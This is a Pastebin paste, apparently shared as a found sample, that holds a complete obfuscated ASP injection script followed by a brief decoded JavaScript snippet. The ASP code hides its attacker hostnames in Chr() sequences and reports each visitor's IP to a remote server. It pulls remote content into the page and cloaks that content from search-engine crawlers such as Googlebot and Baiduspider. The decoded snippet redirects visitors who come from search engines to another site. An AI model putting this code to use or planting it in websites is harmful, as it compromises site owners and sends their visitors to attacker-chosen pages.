Advertisement
scurit

ASP document.redirect injection

Apr 15th, 2014
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 5.07 KB | None | 0 0
  1.  
  2. <%
  3. 'on error resume next
  4. Server.ScriptTimeout=500
  5. dim sysid
  6. sysid=871
  7. dim O0Oo000OO0O0,O0O000OO0O0,O00O000OO0O0
  8. O0Oo000OO0O0 = "false"
  9. Public O0O0OO0OO000
  10. O0O0OO0OO000 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 110 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 110 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 61 )
  11. Public O0O0O0OO0O0
  12. O0O0O0OO0O0 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 46 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 )
  13. O0O000OO0O0 = O0O000OO0O(O0O0OO0OO000&getIP()) 'getIP()
  14. 'response.Write O0O000OO0O0
  15. If instr(O0O000OO0O0,"<t@k>")>0 Then
  16.      O0Oo000OO0O0 = replace(O0O000OO0O0,"<t@k>","")
  17. End If
  18. if CheckAgent=true or O0Oo000OO0O0="true" Then
  19. dim subpageid
  20. subpageid = request.querystring("id")
  21. If subpageid Then
  22.     response.Write O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid&"&subpageid="&subpageid)
  23. Else
  24.     response.Write O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid)
  25. End If
  26. response.End()
  27. End if
  28. O00O000OO0O0 = O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid&"&redirect=yes")
  29. If instr(O00O000OO0O0,"<t@k>")>0 Then
  30.     response.Write replace(O00O000OO0O0,"<t@k>","")
  31. End If
  32. Function O0O000OO0O(O00OO000000O00 )
  33.     Dim OO0O000O00OO0
  34.     Dim OOO0OOO000O00
  35.     On Error Resume Next
  36.     Set OO0O000O00OO0 = Server.CreateObject ( Chr ( 77 ) & Chr ( 83 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) )  
  37.     OO0O000O00OO0.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , O00OO000000O00 , False
  38.     OO0O000O00OO0.setRequestHeader Chr ( 85 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 45 ) & Chr ( 65 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) , O00OO000000O00
  39.     OO0O000O00OO0.send
  40.     O0O000OO0O = OO0O000O00OO0.ResponseBody
  41.     Set OO0O000O00OO0 = Nothing
  42.     Set OOO0OOO000O00 = Server.CreateObject ( Chr ( 65 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 83 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) )  
  43.     OOO0OOO000O00.Type = ( 86 * 57 - 4901 )  
  44.     OOO0OOO000O00.Mode = ( 37 * 51 - 1884 )  
  45.     OOO0OOO000O00.Open
  46.     OOO0OOO000O00.Write O0O000OO0O
  47.     OOO0OOO000O00.Position = ( 9 * 61 - 549 )  
  48.     OOO0OOO000O00.Type = ( 33 * 64 - 2110 )  
  49.     OOO0OOO000O00.Charset = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 )  
  50.     O0O000OO0O = OOO0OOO000O00.ReadText
  51.     OOO0OOO000O00.Close
  52. End Function
  53.  
  54. Function CheckAgent()
  55.   on error resume next
  56.   allow_agent=split("baiduspider,sogou,baidu,sosospider,googlebot",",")
  57.   check_agent=false
  58.   For agenti=lbound(allow_agent) to ubound(allow_agent)
  59.     If Instr(LCase(Request.ServerVariables("HTTP_USER_AGENT")),allow_agent(agenti))>0 then
  60.       check_agent=true
  61.       Exit For
  62.     end if
  63.   Next
  64.   CheckAgent=check_agent
  65. End function
  66.  
  67. Function getIP()
  68.   on error resume next
  69.   Dim strIPAddr
  70.   If Request.ServerVariables("HTTP_"&"X_"&"FOR"&"WARDED_FOR") = "" Or InStr(Request.ServerVariables("H"&"TTP_X_FO"&"RW"&"ARD"&"ED_FOR"), "unknown") > 0 Then
  71.    strIPAddr = Request.ServerVariables("REM"&"OTE_A"&"DDR")
  72.   ElseIf InStr(Request.ServerVariables("HT"&"TP_X_FORW"&"ARDED_FOR"), ",") > 0 Then
  73.    strIPAddr = Mid(Request.ServerVariables("H"&"TTP_X_FO"&"RWARD"&"ED_FOR"), 1, InStr(Request.ServerVariables("HTT"&"P_X_F"&"ORW"&"AR"&"DED_F"&"OR"), ",")-1)
  74.    actforip = Request.ServerVariables("REMO"&"TE_ADD"&"R")
  75.   ElseIf InStr(Request.ServerVariables("HTT"&"P_X_F"&"RW"&"ARDED_FOR"), ";") > 0 Then
  76.    strIPAddr = Mid(Request.ServerVariables("HT"&"TP_X_FORW"&"ARDED_FOR"), 1, InStr(Request.ServerVariables("H"&"TTP_"&"_FOR"&"WARD"&"ED_FOR"), ";")-1)
  77.    actforip = Request.ServerVariables("R"&"EMO"&"TE_ADD"&"R")
  78.   Else
  79.    strIPAddr = Request.ServerVariables("HT"&"TP"&"_X_FO"&"RWARD"&"ED_FOR")
  80.    actforip = Request.ServerVariables("REM"&"OTE_AD"&"DR")
  81.   End If
  82.   getIP = Replace(Trim(Mid(strIPAddr, 1, 30)), "'", "")
  83. End Function
  84. %>
  85.  
  86. 0#####################################################################################
  87. Decoding it gets you this:
  88.  
  89.  var s=document. referrer;
  90.  if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("yahoo")>0 || s.indexOf ("aol")>0){
  91.   self.location='http: // targetsite[.]com';
  92.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement